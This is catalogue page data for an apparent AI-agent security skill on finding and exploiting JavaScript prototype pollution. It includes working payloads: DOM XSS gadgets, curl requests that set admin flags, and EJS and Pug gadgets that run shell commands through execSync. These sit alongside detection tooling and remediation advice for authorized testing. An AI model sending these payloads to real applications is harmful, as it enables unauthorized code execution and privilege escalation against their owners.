[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6AEQ69FVEPCSTSZRQKT0T73":3,"skill-same:01M6AEQ69FVEPCSTSZRQKT0T73":107},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":26,"publishedAt":47,"linkOnly":48,"markdownContent":49,"markdownBody":50,"frontMatter":51,"refName":66,"commitSha":67,"skillDirectory":68,"forksCount":69,"repositoryHtmlUrl":70,"repositoryHomepageUrl":71,"ownerHtmlUrl":72,"ownerBlogUrl":73,"ownerDescription":74,"updatedAt":75,"install":76,"resources":89},"01M6AEQ69FVEPCSTSZRQKT0T73","exploiting-prototype-pollution-in-javascript",null,"Detects and exploits JavaScript prototype pollution vulnerabilities in client-side and server-side (Node.js) applications to achieve XSS, RCE, or authentication bypass through property injection into Object.prototype. Use when assessing a JavaScript\u002FNode.js application for prototype pollution, especially where a merge, clone, or extend function accepts user-controlled keys.","mukul975\u002FAnthropic-Cybersecurity-Skills","mukul975","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42860185?v=4","01M6ADEQR8T5M4EEG6C67BQCWF","Mahipal","01M6ADJPMYWG1E5GM1FWBE3128",35990,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-prototype-pollution-in-javascript\u002FSKILL.md",[18,23],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000010","后端与接口","SCENARIO","使用场景",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发",[27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46],"prototype","exploiting prototype pollution in javascript","javascript","injection","cybersecurity","server-side-pollution","dom-xss","property-injection","xss","node-js","prototype-pollution","rce","vulnerabilities","t1059","web-application-security","server","authentication","pr","merge","web","2026-11-10 10:12:30",false,"---\nname: exploiting-prototype-pollution-in-javascript\ndescription: Detects and exploits JavaScript prototype pollution vulnerabilities\n  in client-side and server-side (Node.js) applications to achieve XSS, RCE, or\n  authentication bypass through property injection into Object.prototype. Use when\n  assessing a JavaScript\u002FNode.js application for prototype pollution, especially\n  where a merge, clone, or extend function accepts user-controlled keys.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- prototype-pollution\n- javascript\n- node-js\n- xss\n- rce\n- property-injection\n- dom-xss\n- server-side-pollution\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1505.003\n- T1083\n- T1055\n---\n\n# Exploiting Prototype Pollution in JavaScript\n\n## When to Use\n- When testing Node.js or JavaScript-heavy web applications\n- During assessment of APIs accepting deep-merged JSON objects\n- When testing client-side JavaScript frameworks for DOM XSS via prototype pollution\n- During code review of object merge\u002Fclone\u002Fextend operations\n- When evaluating npm packages for prototype pollution gadgets\n\n## Prerequisites\n- Burp Suite with DOM Invader extension for client-side prototype pollution detection\n- Node.js development environment for server-side testing\n- Understanding of JavaScript prototype chain and object inheritance\n- Knowledge of common pollution gadgets (sources, sinks, and exploitable properties)\n- Prototype Pollution Gadgets Scanner Burp extension for server-side detection\n- Browser developer console for client-side prototype manipulation\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1 — Identify Prototype Pollution Sources\n```javascript\n\u002F\u002F Client-side: Test URL-based sources\n\u002F\u002F Navigate to: http:\u002F\u002Ftarget.com\u002Fpage?__proto__[polluted]=true\n\u002F\u002F Or use constructor: http:\u002F\u002Ftarget.com\u002Fpage?constructor[prototype][polluted]=true\n\n\u002F\u002F Check in browser console:\nconsole.log(({}).polluted); \u002F\u002F If returns \"true\", pollution confirmed\n\n\u002F\u002F Common URL-based pollution vectors:\n\u002F\u002F ?__proto__[key]=value\n\u002F\u002F ?__proto__.key=value\n\u002F\u002F ?constructor[prototype][key]=value\n\u002F\u002F ?constructor.prototype.key=value\n\n\u002F\u002F Hash fragment pollution:\n\u002F\u002F http:\u002F\u002Ftarget.com\u002F#__proto__[key]=value\n```\n\n### Step 2 — Test Server-Side Prototype Pollution\n```bash\n# Test via JSON body with __proto__\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fmerge \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"isAdmin\": true}}'\n\n# Test via constructor.prototype\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fupdate \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"constructor\": {\"prototype\": {\"isAdmin\": true}}}'\n\n# Test for status code reflection (detection technique)\n# Pollute status property to detect server-side pollution\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fmerge \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"status\": 510}}'\n# If response returns 510, server-side pollution confirmed\n\n# JSON content type pollution\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fsettings \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"shell\": \"\u002Fproc\u002Fself\u002Fexe\", \"NODE_OPTIONS\": \"--require \u002Fproc\u002Fself\u002Fenviron\"}}'\n```\n\n### Step 3 — Exploit Client-Side for DOM XSS\n```javascript\n\u002F\u002F Step 1: Find pollution source (URL parameter, JSON input, postMessage)\n\u002F\u002F Step 2: Find a gadget - a property read from prototype that reaches a sink\n\n\u002F\u002F Common gadgets for DOM XSS:\n\u002F\u002F innerHTML gadget:\n\u002F\u002F ?__proto__[innerHTML]=\u003Cimg\u002Fsrc\u002Fonerror=alert(1)>\n\n\u002F\u002F jQuery $.html() gadget:\n\u002F\u002F ?__proto__[html]=\u003Cimg\u002Fsrc\u002Fonerror=alert(1)>\n\n\u002F\u002F transport URL gadget (common in analytics scripts):\n\u002F\u002F ?__proto__[transport_url]=data:,alert(1)\u002F\u002F\n\n\u002F\u002F Sanitizer bypass via prototype pollution:\n\u002F\u002F ?__proto__[allowedTags]=\u003Cscript>\n\u002F\u002F ?__proto__[tagName]=IMG\n\n\u002F\u002F Use DOM Invader (Burp Suite built-in):\n\u002F\u002F 1. Enable DOM Invader in Burp's embedded browser\n\u002F\u002F 2. Enable Prototype Pollution option\n\u002F\u002F 3. Browse application - DOM Invader auto-detects sources\n\u002F\u002F 4. Click \"Scan for gadgets\" to find exploitable sinks\n```\n\n### Step 4 — Exploit Server-Side for RCE\n```bash\n# Node.js child_process gadget (RCE)\n# If application calls child_process.execSync(), spawn(), or fork():\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fmerge \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"shell\": \"node\", \"NODE_OPTIONS\": \"--require \u002Fproc\u002Fself\u002Fcmdline\"}}'\n\n# EJS template engine gadget\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fupdate \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"client\": true, \"escapeFunction\": \"JSON.stringify; process.mainModule.require(\\\"child_process\\\").execSync(\\\"id\\\")\"}}'\n\n# Handlebars template gadget\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fmerge \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"allowProtoMethodsByDefault\": true, \"allowProtoPropertiesByDefault\": true}}'\n\n# Pug template engine gadget\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fdata \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"block\": {\"type\": \"Text\", \"line\": \"process.mainModule.require(\\\"child_process\\\").execSync(\\\"id\\\")\"}}}'\n```\n\n### Step 5 — Exploit for Authentication and Authorization Bypass\n```bash\n# Pollute isAdmin or role property\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fprofile \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"isAdmin\": true, \"role\": \"admin\"}}'\n\n# Pollute auth-related properties\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fsettings \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"verified\": true, \"emailVerified\": true}}'\n\n# Bypass JSON schema validation\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fdata \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"additionalProperties\": true}}'\n```\n\n### Step 6 — Detect with Automated Tools\n```bash\n# Use ppfuzz for automated detection\nppfuzz -l urls.txt -o results.txt\n\n# Nuclei templates for prototype pollution\necho \"http:\u002F\u002Ftarget.com\" | nuclei -t http\u002Fvulnerabilities\u002Fgeneric\u002Fprototype-pollution.yaml\n\n# Server-side detection with Burp Scanner\n# Enable \"Server-side prototype pollution\" scan check\n# Review issues in Burp Dashboard\n\n# Manual detection via timing\u002Ferror-based techniques\n# Pollute a property that causes detectable server behavior change\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fdata \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"toString\": \"polluted\"}}'\n# If server errors (500), pollution is working\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| Prototype Chain | JavaScript inheritance mechanism where objects inherit from Object.prototype |\n| __proto__ | Accessor property that exposes the prototype of an object |\n| Pollution Source | Input point that allows setting properties on Object.prototype |\n| Pollution Sink | Code that reads a polluted property and performs a dangerous operation |\n| Gadget | A property that flows from prototype to a dangerous sink (source-to-sink chain) |\n| Deep Merge | Recursive object merge functions that may process __proto__ as a regular key |\n| constructor.prototype | Alternative path to access and pollute the prototype object |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| DOM Invader | Burp Suite built-in tool for detecting client-side prototype pollution |\n| Prototype Pollution Gadgets Scanner | Burp extension for server-side gadget detection |\n| ppfuzz | Automated prototype pollution fuzzer |\n| Nuclei | Template-based scanner with prototype pollution templates |\n| server-side-prototype-pollution | Burp Scanner check for server-side detection |\n| ESLint security plugin | Static analysis for prototype pollution patterns in code |\n\n## Common Scenarios\n\n1. **DOM XSS via Analytics** — Pollute transport_url property to inject JavaScript through analytics tracking scripts that read URL from prototype\n2. **RCE via Template Engine** — Exploit EJS\u002FPug\u002FHandlebars gadgets to execute arbitrary commands through polluted template rendering properties\n3. **Admin Privilege Escalation** — Pollute isAdmin or role properties to bypass authorization checks in Node.js applications\n4. **JSON Schema Bypass** — Pollute schema validation properties to bypass input validation and inject malicious data\n5. **Denial of Service** — Pollute toString or valueOf to crash the application when objects are coerced to primitives\n\n## Output Format\n\n```\n## Prototype Pollution Assessment Report\n- **Target**: http:\u002F\u002Ftarget.com\n- **Type**: Server-Side Prototype Pollution\n- **Impact**: Remote Code Execution via EJS template gadget\n\n### Findings\n| # | Source | Gadget | Sink | Impact |\n|---|--------|--------|------|--------|\n| 1 | POST \u002Fapi\u002Fmerge __proto__ | EJS escapeFunction | Template render | RCE |\n| 2 | POST \u002Fapi\u002Fprofile __proto__ | isAdmin property | Auth middleware | Privilege Escalation |\n| 3 | URL ?__proto__[innerHTML] | innerHTML property | DOM write | Client-Side XSS |\n\n### Remediation\n- Use Object.create(null) for configuration objects instead of {}\n- Freeze Object.prototype with Object.freeze(Object.prototype)\n- Sanitize __proto__ and constructor keys in user input\n- Use Map instead of plain objects for user-controlled data\n- Update vulnerable npm packages (lodash, merge-deep, etc.)\n```\n","# Exploiting Prototype Pollution in JavaScript\n\n## When to Use\n- When testing Node.js or JavaScript-heavy web applications\n- During assessment of APIs accepting deep-merged JSON objects\n- When testing client-side JavaScript frameworks for DOM XSS via prototype pollution\n- During code review of object merge\u002Fclone\u002Fextend operations\n- When evaluating npm packages for prototype pollution gadgets\n\n## Prerequisites\n- Burp Suite with DOM Invader extension for client-side prototype pollution detection\n- Node.js development environment for server-side testing\n- Understanding of JavaScript prototype chain and object inheritance\n- Knowledge of common pollution gadgets (sources, sinks, and exploitable properties)\n- Prototype Pollution Gadgets Scanner Burp extension for server-side detection\n- Browser developer console for client-side prototype manipulation\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1 — Identify Prototype Pollution Sources\n```javascript\n\u002F\u002F Client-side: Test URL-based sources\n\u002F\u002F Navigate to: http:\u002F\u002Ftarget.com\u002Fpage?__proto__[polluted]=true\n\u002F\u002F Or use constructor: http:\u002F\u002Ftarget.com\u002Fpage?constructor[prototype][polluted]=true\n\n\u002F\u002F Check in browser console:\nconsole.log(({}).polluted); \u002F\u002F If returns \"true\", pollution confirmed\n\n\u002F\u002F Common URL-based pollution vectors:\n\u002F\u002F ?__proto__[key]=value\n\u002F\u002F ?__proto__.key=value\n\u002F\u002F ?constructor[prototype][key]=value\n\u002F\u002F ?constructor.prototype.key=value\n\n\u002F\u002F Hash fragment pollution:\n\u002F\u002F http:\u002F\u002Ftarget.com\u002F#__proto__[key]=value\n```\n\n### Step 2 — Test Server-Side Prototype Pollution\n```bash\n# Test via JSON body with __proto__\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fmerge \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"isAdmin\": true}}'\n\n# Test via constructor.prototype\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fupdate \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"constructor\": {\"prototype\": {\"isAdmin\": true}}}'\n\n# Test for status code reflection (detection technique)\n# Pollute status property to detect server-side pollution\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fmerge \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"status\": 510}}'\n# If response returns 510, server-side pollution confirmed\n\n# JSON content type pollution\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fsettings \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"shell\": \"\u002Fproc\u002Fself\u002Fexe\", \"NODE_OPTIONS\": \"--require \u002Fproc\u002Fself\u002Fenviron\"}}'\n```\n\n### Step 3 — Exploit Client-Side for DOM XSS\n```javascript\n\u002F\u002F Step 1: Find pollution source (URL parameter, JSON input, postMessage)\n\u002F\u002F Step 2: Find a gadget - a property read from prototype that reaches a sink\n\n\u002F\u002F Common gadgets for DOM XSS:\n\u002F\u002F innerHTML gadget:\n\u002F\u002F ?__proto__[innerHTML]=\u003Cimg\u002Fsrc\u002Fonerror=alert(1)>\n\n\u002F\u002F jQuery $.html() gadget:\n\u002F\u002F ?__proto__[html]=\u003Cimg\u002Fsrc\u002Fonerror=alert(1)>\n\n\u002F\u002F transport URL gadget (common in analytics scripts):\n\u002F\u002F ?__proto__[transport_url]=data:,alert(1)\u002F\u002F\n\n\u002F\u002F Sanitizer bypass via prototype pollution:\n\u002F\u002F ?__proto__[allowedTags]=\u003Cscript>\n\u002F\u002F ?__proto__[tagName]=IMG\n\n\u002F\u002F Use DOM Invader (Burp Suite built-in):\n\u002F\u002F 1. Enable DOM Invader in Burp's embedded browser\n\u002F\u002F 2. Enable Prototype Pollution option\n\u002F\u002F 3. Browse application - DOM Invader auto-detects sources\n\u002F\u002F 4. Click \"Scan for gadgets\" to find exploitable sinks\n```\n\n### Step 4 — Exploit Server-Side for RCE\n```bash\n# Node.js child_process gadget (RCE)\n# If application calls child_process.execSync(), spawn(), or fork():\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fmerge \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"shell\": \"node\", \"NODE_OPTIONS\": \"--require \u002Fproc\u002Fself\u002Fcmdline\"}}'\n\n# EJS template engine gadget\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fupdate \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"client\": true, \"escapeFunction\": \"JSON.stringify; process.mainModule.require(\\\"child_process\\\").execSync(\\\"id\\\")\"}}'\n\n# Handlebars template gadget\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fmerge \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"allowProtoMethodsByDefault\": true, \"allowProtoPropertiesByDefault\": true}}'\n\n# Pug template engine gadget\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fdata \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"block\": {\"type\": \"Text\", \"line\": \"process.mainModule.require(\\\"child_process\\\").execSync(\\\"id\\\")\"}}}'\n```\n\n### Step 5 — Exploit for Authentication and Authorization Bypass\n```bash\n# Pollute isAdmin or role property\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fprofile \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"isAdmin\": true, \"role\": \"admin\"}}'\n\n# Pollute auth-related properties\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fsettings \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"verified\": true, \"emailVerified\": true}}'\n\n# Bypass JSON schema validation\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fdata \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"additionalProperties\": true}}'\n```\n\n### Step 6 — Detect with Automated Tools\n```bash\n# Use ppfuzz for automated detection\nppfuzz -l urls.txt -o results.txt\n\n# Nuclei templates for prototype pollution\necho \"http:\u002F\u002Ftarget.com\" | nuclei -t http\u002Fvulnerabilities\u002Fgeneric\u002Fprototype-pollution.yaml\n\n# Server-side detection with Burp Scanner\n# Enable \"Server-side prototype pollution\" scan check\n# Review issues in Burp Dashboard\n\n# Manual detection via timing\u002Ferror-based techniques\n# Pollute a property that causes detectable server behavior change\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fdata \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"toString\": \"polluted\"}}'\n# If server errors (500), pollution is working\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| Prototype Chain | JavaScript inheritance mechanism where objects inherit from Object.prototype |\n| __proto__ | Accessor property that exposes the prototype of an object |\n| Pollution Source | Input point that allows setting properties on Object.prototype |\n| Pollution Sink | Code that reads a polluted property and performs a dangerous operation |\n| Gadget | A property that flows from prototype to a dangerous sink (source-to-sink chain) |\n| Deep Merge | Recursive object merge functions that may process __proto__ as a regular key |\n| constructor.prototype | Alternative path to access and pollute the prototype object |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| DOM Invader | Burp Suite built-in tool for detecting client-side prototype pollution |\n| Prototype Pollution Gadgets Scanner | Burp extension for server-side gadget detection |\n| ppfuzz | Automated prototype pollution fuzzer |\n| Nuclei | Template-based scanner with prototype pollution templates |\n| server-side-prototype-pollution | Burp Scanner check for server-side detection |\n| ESLint security plugin | Static analysis for prototype pollution patterns in code |\n\n## Common Scenarios\n\n1. **DOM XSS via Analytics** — Pollute transport_url property to inject JavaScript through analytics tracking scripts that read URL from prototype\n2. **RCE via Template Engine** — Exploit EJS\u002FPug\u002FHandlebars gadgets to execute arbitrary commands through polluted template rendering properties\n3. **Admin Privilege Escalation** — Pollute isAdmin or role properties to bypass authorization checks in Node.js applications\n4. **JSON Schema Bypass** — Pollute schema validation properties to bypass input validation and inject malicious data\n5. **Denial of Service** — Pollute toString or valueOf to crash the application when objects are coerced to primitives\n\n## Output Format\n\n```\n## Prototype Pollution Assessment Report\n- **Target**: http:\u002F\u002Ftarget.com\n- **Type**: Server-Side Prototype Pollution\n- **Impact**: Remote Code Execution via EJS template gadget\n\n### Findings\n| # | Source | Gadget | Sink | Impact |\n|---|--------|--------|------|--------|\n| 1 | POST \u002Fapi\u002Fmerge __proto__ | EJS escapeFunction | Template render | RCE |\n| 2 | POST \u002Fapi\u002Fprofile __proto__ | isAdmin property | Auth middleware | Privilege Escalation |\n| 3 | URL ?__proto__[innerHTML] | innerHTML property | DOM write | Client-Side XSS |\n\n### Remediation\n- Use Object.create(null) for configuration objects instead of {}\n- Freeze Object.prototype with Object.freeze(Object.prototype)\n- Sanitize __proto__ and constructor keys in user input\n- Use Map instead of plain objects for user-controlled data\n- Update vulnerable npm packages (lodash, merge-deep, etc.)\n```\n",{"name":5,"tags":52,"author":53,"domain":31,"license":15,"version":54,"nist_csf":55,"subdomain":41,"description":7,"mitre_attack":60},[37,29,36,35,38,34,33,32],"mahipal","1.0",[56,57,58,59],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01",[61,62,63,64,65],"T1190","T1059.007","T1505.003","T1083","T1055","main","54a798831d2266a3ca61ce68a7acb80b81160d57","skills\u002Fexploiting-prototype-pollution-in-javascript",4395,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","https:\u002F\u002Fmahipal.engineer\u002FAnthropic-Cybersecurity-Skills\u002F","https:\u002F\u002Fgithub.com\u002Fmukul975","Mahipal.engineer","🔐 Cybersecurity | 💻 Dev | 📷 Street Photographer\r\n🎓 MSc | 📚 Research & AI Security","2026-08-31 12:32:44",{"source":8,"skillName":5,"commands":77,"prompt":87,"zipAvailable":88},[78,81,84],{"tool":79,"command":80},"npx","npx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill exploiting-prototype-pollution-in-javascript",{"tool":82,"command":83},"bunx","bunx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill exploiting-prototype-pollution-in-javascript",{"tool":85,"command":86},"pnpm","pnpm dlx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill exploiting-prototype-pollution-in-javascript","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-prototype-pollution-in-javascript\u002FSKILL.md",true,[90,95,101],{"path":91,"resourceType":91,"resourceTypeDesc":92,"sizeBytes":93,"sourceHtmlUrl":94},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-prototype-pollution-in-javascript\u002FLICENSE",{"path":96,"resourceType":97,"resourceTypeDesc":98,"sizeBytes":99,"sourceHtmlUrl":100},"references\u002Fapi-reference.md","REFERENCE","参考文档",2477,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-prototype-pollution-in-javascript\u002Freferences\u002Fapi-reference.md",{"path":102,"resourceType":103,"resourceTypeDesc":104,"sizeBytes":105,"sourceHtmlUrl":106},"scripts\u002Fagent.py","SCRIPT","脚本",5642,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-prototype-pollution-in-javascript\u002Fscripts\u002Fagent.py",[108,134,158,186,212,238],{"skillNo":109,"name":110,"nameZh":6,"description":111,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":112,"categories":113,"keywords":115,"publishedAt":47},"01M6AGDM3HJXTKXX15ZZ0ZVCJ3","verifying-build-provenance-with-slsa-sigstore","Verifies artifact signatures and SLSA provenance using Sigstore's cosign (verify, verify-attestation, verify-blob-attestation) and slsa-verifier (verify-artifact), enforcing keyless OIDC builder identity and source repo against SLSA Build levels. Use in CI\u002FCD before deploying artifacts, when consuming third-party attestations, establishing a SLSA Build L3 pipeline, or confirming provenance during incident response or admission control.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fverifying-build-provenance-with-slsa-sigstore\u002FSKILL.md",[114],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[116,117,118,119,120,31,121,122,44,123,124,125,126,127,128,129,130,131,132,133],"sigstore","provenance","slsa","verifying build provenance with slsa sigstore","security","incident response","identity","code","artifacts","ci","supply-chain","pipeline","supply-chain-security","t1195","attestation","code-signing","cosign","keyless",{"skillNo":135,"name":136,"nameZh":6,"description":137,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":138,"categories":139,"keywords":141,"publishedAt":47},"01M6AGDGBPWYVZ2F11GFKJ4HZ9","validating-tpm-measured-boot-attestation","Verifies TPM 2.0 measured-boot integrity and remote attestation with tpm2-tools -- reading PCRs (tpm2_pcrread), replaying the boot event log, generating and checking signed quotes (tpm2_quote\u002Ftpm2_checkquote), and sealing secrets to a PCR policy. Use to confirm a system booted trusted firmware\u002Fkernel for Zero Trust device posture, detect boot-chain tampering via PCR drift, or build a golden-value baseline for fleet attestation.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-tpm-measured-boot-attestation\u002FSKILL.md",[140],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[142,130,143,144,120,145,31,44,146,147,148,149,150,151,152,153,154,155,156,157],"boot","TPM","validating tpm measured boot attestation","policy","verification","ZeRO","firmware","Tools","measured-boot","PCR","integrity","secrets","remote-attestation","tpm2-tools","integrity-verification","trusted-computing",{"skillNo":159,"name":160,"nameZh":6,"description":161,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":162,"categories":163,"keywords":168,"publishedAt":47},"01M6AGDCW0Y4FXZ3362GT1941M","validating-backup-integrity-for-recovery","Validates backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to confirm backups are reliable for disaster recovery and ransomware response. Use before relying on backups for recovery, when building post-backup validation pipelines, auditing backup infrastructure for compliance, or checking immutable\u002Fair-gapped backups for silent corruption or tampering.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-backup-integrity-for-recovery\u002FSKILL.md",[164,167],{"categoryNo":165,"categoryName":166,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[152,169,170,171,172,31,173,174,146,175,176,177,178,179,180,181,182,183,184,185],"backup","recovery","validating backup integrity for recovery","testing","infrastructure","validation","compliance","hash-verification","incident-response","ransomware","cryptocurrency","detection","t1078","t1490","immutable","disaster-recovery","restore-testing",{"skillNo":187,"name":188,"nameZh":6,"description":189,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":190,"categories":191,"keywords":193,"publishedAt":47},"01M6AGD9GBG2KZ336AE763J3WH","triaging-windows-with-kape","Runs KAPE (Kroll Artifact Parser and Extractor) to collect targeted forensic artifacts (registry hives, $MFT, event logs, prefetch, browser data) via Targets and parse them with Modules wrapping Eric Zimmerman's EZ Tools (PECmd, MFTECmd, RECmd). Use during early incident containment\u002Ftriage when full disk imaging is impractical but a defensible, parseable Windows artifact set is needed quickly, including at-scale remote collection.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-windows-with-kape\u002FSKILL.md",[192],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[194,195,196,31,197,198,199,200,201,202,203,204,205,206,207,208,149,209,210,211],"windows","kape","triaging windows with kape","registry","browser","logs","windows-forensics","dfir","mft","mftecmd","data","prefetch","eric-zimmerman","digital-forensics","SET","collection","pecmd","artifact-collection",{"skillNo":213,"name":214,"nameZh":6,"description":215,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":216,"categories":217,"keywords":219,"publishedAt":47},"01M6AGD5PW5J4EVZM958WD74ZQ","triaging-vulnerabilities-with-ssvc-framework","Triages and prioritizes vulnerabilities with CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree, weighing exploitation status (via the CISA KEV catalog and 